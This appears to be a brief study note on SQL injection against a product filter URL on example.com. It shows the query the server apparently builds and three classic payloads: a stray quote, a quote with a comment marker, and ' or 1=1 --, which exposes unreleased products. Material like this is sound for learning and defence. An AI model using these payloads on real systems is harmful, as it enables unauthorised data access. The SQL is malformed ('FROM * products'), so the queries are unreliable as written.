SQLi
Browser:
www.example.com/filter/category=pets
Server:
FROM * products WHERE category = 'pets' AND release = 1
from all ( * ) products where category is pets and show released
Payload:
www.example.com/filter/category='
FROM * products WHERE category =''' AND release=1
error message because extra ’ for category
www.example.com/filter/category='--
FROM * products WHERE category=''--'
-- comments out everything after, so category is empty space category=''
www.example.com/filter/category=' or 1=1 --
FROM * products WHERE category = '' or TRUE ~~AND release=1~~
from all products where category is either none ( ’’ ) OR TRUE, which is TRUE, and shows all products released and unreleased
Comments
Public conversation about this article.
No comments yet.
Article metadata
About this entry
Event Id
Raw event
Other authors
No one else has published this topic yet.
